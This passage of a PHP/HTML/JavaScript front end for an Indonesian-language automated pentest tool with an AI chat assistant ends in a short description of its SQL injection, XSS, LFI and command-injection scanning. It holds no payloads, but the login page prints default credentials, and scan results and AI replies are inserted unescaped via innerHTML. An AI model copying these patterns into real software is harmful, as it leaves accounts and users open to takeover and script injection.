.sidebar-content{flex:1;overflow-y:auto} 618 .target-input .row{display:flex;gap:6px;margin:6px 0} 619 .target-input input{flex:1;padding:8px;border-radius:8px;border:1px solid #2a3a4a;background:#0a1220;color:#fff} 620 .target-input .btn-run{padding:8px 16px;background:#e65100;border:none;border-radius:8px;color:#fff;cursor:pointer} 621 .stat-grid{display:grid;grid-template-columns:1fr 1fr 1fr;gap:4px;margin:8px 0} 622 .stat-card{background:rgba(8,12,20,0.6);padding:6px;text-align:center;border-radius:6px} 623 .stat-card .num{font-size:20px;font-weight:bold} 624 .stat-card .red{color:#ef5350}.stat-card .orange{color:#ffa726}.stat-card .blue{color:#4fc3f7}.stat-card .green{color:#66bb6a} 625 .vuln-item{background:rgba(8,12,20,0.5);padding:4px 8px;margin:2px 0;border-left:3px solid #ffa726;font-size:12px} 626 .main-chat{flex:1;display:flex;flex-direction:column;background:#080c14} 627 .chat-header{padding:12px 20px;border-bottom:1px solid #2a3a4a;display:flex;justify-content:space-between} 628 .chat-messages{flex:1;overflow-y:auto;padding:16px} 629 .message{margin-bottom:12px;display:flex} 630 .message.user{justify-content:flex-end} 631 .bubble{max-width:85%;padding:10px 16px;border-radius:14px;background:rgba(17,25,39,0.9);border:1px solid #2a3a4a} 632 .message.user .bubble{background:#1a4a6a;border-bottom-right-radius:4px} 633 .chat-input{display:flex;padding:10px 20px;border-top:1px solid #2a3a4a;gap:8px} 634 .chat-input input{flex:1;padding:10px;border-radius:12px;border:1px solid #2a3a4a;background:#0a1220;color:#fff} 635 .chat-input .btn-send{padding:10px 18px;background:#e65100;border:none;border-radius:12px;color:#fff;cursor:pointer} 636 .toast{position:fixed;bottom:80px;left:50%;transform:translateX(-50%);background:rgba(17,25,39,0.95);padding:12px 24px;border-radius:12px;display:none;z-index:999} 637 .toast.show{display:block} 638 .typing-indicator{display:none;padding:6px 0;color:#4a6a7a} 639 .typing-indicator.active{display:flex} 640 .dot{display:inline-block;width:12px;height:12px;border-radius:50%;margin-right:6px} 641 .dot.online{background:#4caf50} 642 .dot.offline{background:#f44336} 643 @media(max-width:768px){.sidebar{width:300px;position:fixed;left:0;top:0;height:100%;transform:translateX(-110%)} 644 .sidebar.open{transform:translateX(0)}} 645 </style> 646</head> 647<body> 648<div class="toast" id="toast"></div> 649 650<!-- LOGIN --> 651<div class="login-page"> 652 <div class="login-box"> 653 <h1>Carolina Pentest AI</h1> 654 <p>Pengujian Keamanan Otomatis</p> 655 <?php if (isset($login_error)) echo '<p style="color:#ef5350;">'.$login_error.'</p>'; ?> 656 <form method="POST"> 657 <input type="text" name="username" placeholder="Username" required> 658 <input type="password" name="password" placeholder="Password" required> 659 <button type="submit" name="login">Masuk</button> 660 </form> 661 <p style="margin-top:10px;color:#6a8a9a;">Default: admin / baseball</p> 662 </div> 663</div> 664 665<!-- APP --> 666<div class="app-container"> 667 <div class="sidebar" id="sidebar"> 668 <div class="sidebar-header"> 669 <h2><i class="fas fa-bug"></i>X-code Pentest AI - xcode.co.id</h2> 670 </div> 671 <div class="sidebar-content"> 672 <div class="ai-status-bar" style="display:flex;align-items:center;margin-bottom:10px;"> 673 <span class="dot <?php echo ($ai_status['status']??false)?'online':'offline'; ?>" id="aiDot"></span> 674 <span id="aiText" style="color:<?php echo ($ai_status['status']??false)?'#4caf50':'#f44336'; ?>;"><?php echo $ai_status['message']??'Memeriksa...'; ?></span> 675 <button onclick="checkAI()" style="background:transparent;border:none;color:#4fc3f7;cursor:pointer;margin-left:auto;">↻</button> 676 </div> 677 <div class="target-input"> 678 <div class="label">Target</div> 679 <div class="row"> 680 <input type="text" id="targetInput" placeholder="domain.com/path" value="<?php echo htmlspecialchars($target_data['target']??''); ?>"> 681 <button class="btn-run" onclick="runPentest()" id="runBtn"><i class="fas fa-play"></i> Jalankan</button> 682 </div> 683 <div> 684 <label><input type="radio" name="protocol" value="http" checked> HTTP</label> 685 <label><input type="radio" name="protocol" value="https"> HTTPS</label> 686 </div> 687 </div> 688 <div class="info-input" style="display:flex;gap:6px;margin:6px 0;"> 689 <input type="text" id="pentesterInput" placeholder="Penguji" value="<?php echo htmlspecialchars($target_data['pentester']??'Tim'); ?>" style="flex:1;padding:6px;border-radius:6px;border:1px solid #2a3a4a;background:#0a1220;color:#fff;"> 690 <input type="text" id="clientInput" placeholder="Klien" value="<?php echo htmlspecialchars($target_data['client']??'Klien'); ?>" style="flex:1;padding:6px;border-radius:6px;border:1px solid #2a3a4a;background:#0a1220;color:#fff;"> 691 </div> 692 <div class="progress-container" id="progressContainer" style="display:none;"> 693 <span id="progressPercent">0%</span> 694 <div style="width:100%;height:6px;background:#1a2a3a;border-radius:4px;margin:4px 0;"> 695 <div id="progressFill" style="height:100%;background:linear-gradient(90deg,#ff6f00,#ffa726);border-radius:4px;width:0%;"></div> 696 </div> 697 <span id="progressStatus">Memulai...</span> 698 </div> 699 <div class="stat-grid"> 700 <div class="stat-card"><div class="num red" id="statVuln"><?php echo $pentest_data['summary']['total']??0; ?></div><div>Total</div></div> 701 <div class="stat-card"><div class="num orange" id="statCritical"><?php echo $pentest_data['summary']['critical']??0; ?></div><div>Kritis</div></div> 702 <div class="stat-card"><div class="num blue" id="statHigh"><?php echo $pentest_data['summary']['high']??0; ?></div><div>Tinggi</div></div> 703 </div> 704 <div class="stat-grid" style="margin-top:-4px;"> 705 <div class="stat-card"><div class="num purple" id="statMedium" style="color:#ce93d8;"><?php echo $pentest_data['summary']['medium']??0; ?></div><div>Sedang</div></div> 706 <div class="stat-card"><div class="num green" id="statLow"><?php echo $pentest_data['summary']['low']??0; ?></div><div>Rendah</div></div> 707 <div class="stat-card"><div class="num <?php echo ($pentest_data['summary']['exploitable']??false)?'red':'green'; ?>" id="statExploitable"><?php echo ($pentest_data['summary']['exploitable']??false)?'Ya':'Tidak'; ?></div><div>Eksploitasi</div></div> 708 </div> 709 <div id="vulnList"> 710 <?php if (!empty($pentest_data['vulnerabilities'])): ?> 711 <?php foreach (array_slice($pentest_data['vulnerabilities'],0,10) as $v): ?> 712 <div class="vuln-item"><span class="type"><?php echo htmlspecialchars($v['type']??'Unknown'); ?></span> <span><?php echo htmlspecialchars($v['severity']??'MEDIUM'); ?></span> <span><?php echo htmlspecialchars($v['url']??'N/A'); ?></span></div> 713 <?php endforeach; ?> 714 <?php else: ?> 715 <div>Belum ada pentest</div> 716 <?php endif; ?> 717 </div> 718 </div> 719 <div style="padding:10px;display:flex;gap:4px;flex-wrap:wrap;border-top:1px solid #2a3a4a;"> 720 <button onclick="runPentest()" style="flex:1;background:#2a3a4a;border:none;color:#e8edf5;padding:6px;border-radius:6px;cursor:pointer;">Jalankan</button> 721 <button onclick="generateVA()" style="flex:1;background:#2a3a4a;border:none;color:#4fc3f7;padding:6px;border-radius:6px;cursor:pointer;">VA</button> 722 <button onclick="generateReport()" style="flex:1;background:#2a3a4a;border:none;color:#ffa726;padding:6px;border-radius:6px;cursor:pointer;">Pentest</button> 723 <button onclick="window.location.href='?logout=1'" style="flex:1;background:#2a3a4a;border:none;color:#ef5350;padding:6px;border-radius:6px;cursor:pointer;">Logout</button> 724 </div> 725 </div> 726 727 <div class="main-chat"> 728 <div class="chat-header"> 729 <div><i class="fas fa-robot"></i> X-code Asisten AI Pentest - xcode.co.id<span style="font-size:9px;background:rgba(255,167,38,0.15);padding:1px 8px;border-radius:10px;">OpenRouter</span></div> 730 <div> 731 <button onclick="clearHistory()" style="background:transparent;border:none;color:#8aa0b0;cursor:pointer;"><i class="fas fa-trash"></i></button> 732 <button onclick="window.location.href='?logout=1'" style="background:transparent;border:none;color:#ef5350;cursor:pointer;"><i class="fas fa-sign-out-alt"></i></button> 733 </div> 734 </div> 735 <div class="chat-messages" id="chatMessages"> 736 <div class="message ai"><div class="bubble"><b>Selamat datang!</b><br>Masukkan target dan klik Jalankan untuk memulai pentest.</div></div> 737 </div> 738 <div class="typing-indicator" id="typingIndicator"><i class="fas fa-robot"></i> AI sedang mengetik...</div> 739 <div class="chat-input"> 740 <input type="text" id="chatInput" placeholder="Tanyakan tentang hasil pentest..." onkeydown="if(event.key==='Enter') sendMessage()"> 741 <button class="btn-send" onclick="sendMessage()" id="sendBtn"><i class="fas fa-paper-plane"></i> Kirim</button> 742 </div> 743 </div> 744</div> 745 746<script> 747console.log('JS loaded'); 748let isProcessing=false, isPentesting=false, progressInterval=null; 749 750function showToast(msg,type='info'){ 751 const t=document.getElementById('toast'); 752 t.textContent=msg; 753 t.className='toast show '+type; 754 clearTimeout(t._timeout); 755 t._timeout=setTimeout(()=>t.className='toast',4000); 756} 757 758function checkAI(){ 759 const dot=document.getElementById('aiDot'); 760 const text=document.getElementById('aiText'); 761 dot.className='dot'; 762 text.textContent='Memeriksa...'; 763 text.style.color='#ffa726'; 764 const data=new URLSearchParams(); 765 data.append('action','check_ai'); 766 fetch('',{method:'POST',body:data}) 767 .then(r=>r.json()) 768 .then(res=>{ 769 if(res.success){ 770 const online=res.data.status; 771 dot.className='dot '+(online?'online':'offline'); 772 text.textContent=res.data.message; 773 text.style.color=online?'#4caf50':'#f44336'; 774 if(!online) showToast('AI Offline: '+res.data.message,'error'); 775 else showToast('AI Online','success'); 776 } 777 }).catch(()=>{ 778 dot.className='dot offline'; 779 text.textContent='Gagal memeriksa AI'; 780 text.style.color='#f44336'; 781 }); 782} 783 784function runPentest(){ 785 if(isPentesting) return; 786 const target=document.getElementById('targetInput').value.trim(); 787 const pentester=document.getElementById('pentesterInput').value.trim()||'Tim'; 788 const client=document.getElementById('clientInput').value.trim()||'Klien'; 789 const protocol=document.querySelector('input[name="protocol"]:checked').value; 790 if(!target){ showToast('Masukkan target','error'); return; } 791 isPentesting=true; 792 const btn=document.getElementById('runBtn'); 793 btn.innerHTML='<i class="fas fa-spinner fa-spin"></i> Menjalankan...'; 794 btn.disabled=true; 795 document.getElementById('progressContainer').style.display='block'; 796 updateProgress(0,'Memulai...'); 797 addMessage('user','Mulai pentest untuk '+protocol+'://'+target); 798 const data=new URLSearchParams(); 799 data.append('action','run_pentest'); 800 data.append('target',target); 801 data.append('pentester',pentester); 802 data.append('client',client); 803 data.append('protocol',protocol); 804 let sim=0; 805 progressInterval=setInterval(()=>{ 806 if(sim<95){ sim+=Math.random()*3; if(sim>95) sim=95; updateProgress(Math.round(sim), getPhase(sim)); } 807 },2000); 808 fetch('',{method:'POST',body:data}) 809 .then(r=>r.json()) 810 .then(res=>{ 811 clearInterval(progressInterval); 812 isPentesting=false; 813 btn.innerHTML='<i class="fas fa-play"></i> Jalankan'; 814 btn.disabled=false; 815 if(res.success){ 816 updateProgress(100,'Selesai!'); 817 updateStats(res.data); 818 showToast('Pentest selesai! Ditemukan '+res.data.summary.total+' kerentanan','success'); 819 addMessage('ai','Pentest selesai! Total: '+res.data.summary.total+' | Kritis: '+res.data.summary.critical+' | Tinggi: '+res.data.summary.high); 820 }else{ 821 updateProgress(0,'Error'); 822 showToast('Error: '+res.message,'error'); 823 } 824 }).catch(err=>{ 825 clearInterval(progressInterval); 826 isPentesting=false; 827 btn.innerHTML='<i class="fas fa-play"></i> Jalankan'; 828 btn.disabled=false; 829 updateProgress(0,'Error'); 830 showToast('Error: '+err.message,'error'); 831 }); 832 setTimeout(()=>{ 833 if(isPentesting){ 834 clearInterval(progressInterval); 835 isPentesting=false; 836 btn.innerHTML='<i class="fas fa-play"></i> Jalankan'; 837 btn.disabled=false; 838 updateProgress(0,'Timeout'); 839 showToast('Timeout','error'); 840 } 841 },300000); 842} 843 844function getPhase(p){ if(p<15)return 'Pra-engagement'; if(p<30)return 'Pengumpulan Intel'; if(p<45)return 'Pemodelan Ancaman'; if(p<70)return 'Pemindaian Kerentanan'; if(p<90)return 'Eksploitasi'; if(p<98)return 'Pasca Eksploitasi'; return 'Pelaporan'; } 845 846function updateProgress(percent,status){ 847 document.getElementById('progressPercent').textContent=percent+'%'; 848 document.getElementById('progressFill').style.width=percent+'%'; 849 document.getElementById('progressStatus').textContent=status; 850} 851 852function sendMessage(){ 853 const input=document.getElementById('chatInput'); 854 const msg=input.value.trim(); 855 if(!msg||isProcessing) return; 856 input.value=''; 857 input.disabled=true; 858 document.getElementById('sendBtn').disabled=true; 859 isProcessing=true; 860 addMessage('user',msg); 861 document.getElementById('typingIndicator').classList.add('active'); 862 const data=new URLSearchParams(); 863 data.append('action','send_message'); 864 data.append('message',msg); 865 fetch('',{method:'POST',body:data}) 866 .then(r=>r.json()) 867 .then(res=>{ 868 document.getElementById('typingIndicator').classList.remove('active'); 869 if(res.success) addMessage('ai',res.data); 870 else addMessage('ai','Error: '+res.message); 871 input.disabled=false; 872 document.getElementById('sendBtn').disabled=false; 873 input.focus(); 874 isProcessing=false; 875 }).catch(err=>{ 876 document.getElementById('typingIndicator').classList.remove('active'); 877 addMessage('ai','Error: '+err.message); 878 input.disabled=false; 879 document.getElementById('sendBtn').disabled=false; 880 isProcessing=false; 881 }); 882} 883 884function addMessage(type,content){ 885 const container=document.getElementById('chatMessages'); 886 const div=document.createElement('div'); 887 div.className='message '+type; 888 const bubble=document.createElement('div'); 889 bubble.className='bubble'; 890 const sender=document.createElement('div'); 891 sender.style.fontSize='10px'; 892 sender.style.color='#5a7a7a'; 893 sender.textContent=type==='user'?'Anda':'AI'; 894 const contentDiv=document.createElement('div'); 895 contentDiv.innerHTML=content.replace(/\n/g,'<br>'); 896 const time=document.createElement('div'); 897 time.style.fontSize='8px'; 898 time.style.color='#4a6a7a'; 899 time.textContent=new Date().toLocaleTimeString('id-ID'); 900 bubble.appendChild(sender); 901 bubble.appendChild(contentDiv); 902 bubble.appendChild(time); 903 div.appendChild(bubble); 904 container.appendChild(div); 905 container.scrollTop=container.scrollHeight; 906} 907 908function updateStats(data){ 909 const s=data.summary||{}; 910 document.getElementById('statVuln').textContent=s.total||0; 911 document.getElementById('statCritical').textContent=s.critical||0; 912 document.getElementById('statHigh').textContent=s.high||0; 913 document.getElementById('statMedium').textContent=s.medium||0; 914 document.getElementById('statLow').textContent=s.low||0; 915 const el=document.getElementById('statExploitable'); 916 const exp=s.exploitable||false; 917 el.textContent=exp?'Ya':'Tidak'; 918 el.className='num '+(exp?'red':'green'); 919 const list=document.getElementById('vulnList'); 920 const vulns=data.vulnerabilities||[]; 921 if(vulns.length){ 922 list.innerHTML=''; 923 vulns.slice(0,10).forEach(v=>{ 924 list.innerHTML+=`<div class="vuln-item"><span class="type">${v.type||'Unknown'}</span> <span>${(v.severity||'MEDIUM').toUpperCase()}</span> <span>${v.url||'N/A'}</span></div>`; 925 }); 926 }else list.innerHTML='<div>Belum ada pentest</div>'; 927} 928 929function generateVA(){ 930 showToast('Membuat Laporan VA...','info'); 931 addMessage('ai','Membuat laporan VA...'); 932 const data=new URLSearchParams(); 933 data.append('action','get_va_report'); 934 fetch('',{method:'POST',body:data}) 935 .then(r=>r.json()) 936 .then(res=>{ 937 if(res.success && res.data.title!=='Belum ada'){ 938 const report=res.data; 939 let text='=== LAPORAN VA ===\nTarget: '+report.title+'\nTanggal: '+report.date+'\nPenguji: '+report.pentester+'\nKlien: '+report.client+'\n'; 940 if(report.server_info) text+='Info Server: '+report.server_info+'\n'; 941 text+='Total: '+report.executive_summary.total+'\nKritis: '+report.executive_summary.critical+'\nTinggi: '+report.executive_summary.high+'\n'; 942 text+='--- KERENTANAN ---\n'; 943 report.vulnerabilities.forEach((v,i)=>{ text+=(i+1)+'. '+v.type+' | '+v.severity+' | '+v.url+'\n'; }); 944 text+='--- REKOMENDASI ---\n'; 945 report.recommendations.forEach(r=>text+='- '+r+'\n'); 946 text+='Parameter yang diuji: '+ (report.parameters_tested ? report.parameters_tested.join(', ') : 'Tidak ada') + '\n'; 947 downloadFile(text,'va_report.txt'); 948 showToast('Laporan VA diunduh','success'); 949 addMessage('ai','Laporan VA berhasil diunduh.'); 950 }else{ showToast('Belum ada data. Jalankan pentest dulu.','error'); } 951 }).catch(err=>{ showToast('Error: '+err.message,'error'); }); 952} 953 954function generateReport(){ 955 showToast('Membuat Laporan Pentest...','info'); 956 addMessage('ai','Membuat laporan Pentest...'); 957 const data=new URLSearchParams(); 958 data.append('action','get_full_report'); 959 fetch('',{method:'POST',body:data}) 960 .then(r=>r.json()) 961 .then(res=>{ 962 if(res.success && res.data.title!=='Belum ada'){ 963 const report=res.data; 964 let text='=== LAPORAN PENTEST ===\nJudul: '+report.title+'\nTanggal: '+report.date+'\nPenguji: '+report.pentester+'\nKlien: '+report.client+'\n'; 965 if(report.server_info) text+='Info Server: '+report.server_info+'\n'; 966 text+='Total: '+report.executive_summary.total+'\nKritis: '+report.executive_summary.critical+'\nTinggi: '+report.executive_summary.high+'\n'; 967 text+='--- KERENTANAN ---\n'; 968 report.vulnerabilities.forEach((v,i)=>{ text+=(i+1)+'. '+v.type+' | '+v.severity+' | '+v.url+'\n'; }); 969 text+='--- REKOMENDASI ---\n'; 970 report.recommendations.forEach(r=>text+='- '+r+'\n'); 971 text+='--- KESIMPULAN ---\n'+report.conclusion+'\n'; 972 text+='Parameter yang diuji: '+ (report.parameters_found ? report.parameters_found.join(', ') : 'Tidak ada') + '\n'; 973 downloadFile(text,'pentest_report.txt'); 974 showToast('Laporan Pentest diunduh','success'); 975 addMessage('ai','Laporan Pentest berhasil diunduh.'); 976 }else{ showToast('Belum ada data. Jalankan pentest dulu.','error'); } 977 }).catch(err=>{ showToast('Error: '+err.message,'error'); }); 978} 979 980function downloadFile(content,filename){ 981 const blob=new Blob([content],{type:'text/plain;charset=utf-8'}); 982 const url=URL.createObjectURL(blob); 983 const a=document.createElement('a'); 984 a.href=url; a.download=filename; 985 document.body.appendChild(a); a.click(); document.body.removeChild(a); 986 URL.revokeObjectURL(url); 987} 988 989function clearHistory(){ 990 if(!confirm('Hapus riwayat chat?')) return; 991 const data=new URLSearchParams(); 992 data.append('action','clear_history'); 993 fetch('',{method:'POST',body:data}) 994 .then(()=>{ 995 document.getElementById('chatMessages').innerHTML='<div class="message ai"><div class="bubble">Riwayat dibersihkan.</div></div>'; 996 showToast('Riwayat dibersihkan','success'); 997 }); 998} 999 1000document.addEventListener('DOMContentLoaded', function(){ 1001 <?php if($is_logged_in): ?> 1002 checkAI(); 1003 fetch('',{method:'POST',body:new URLSearchParams('action=get_pentest_result')}) 1004 .then(r=>r.json()).then(res=>{ if(res.success) updateStats(res.data); }); 1005 <?php endif; ?> 1006}); 1007</script> 1008</body> 1009</html> 1010
Carolina Pentest AI Beta 1 merupakan proof-of-concept yang menunjukkan bagaimana automated security testing dapat dikombinasikan dengan AI. Versi pertama ini sudah memiliki automated reconnaissance, parameter discovery, SQL Injection testing, Reflected XSS testing, LFI/Path Traversal testing, Command Injection detection, Apache vulnerability checking, JSON-based result storage, VA reporting, Pentest reporting, serta AI-assisted analysis. Hasil pengujian pada environment lab menunjukkan bahwa scanner mampu menemukan vulnerability seperti SQL Injection, Reflected XSS, dan LFI/Path Traversal.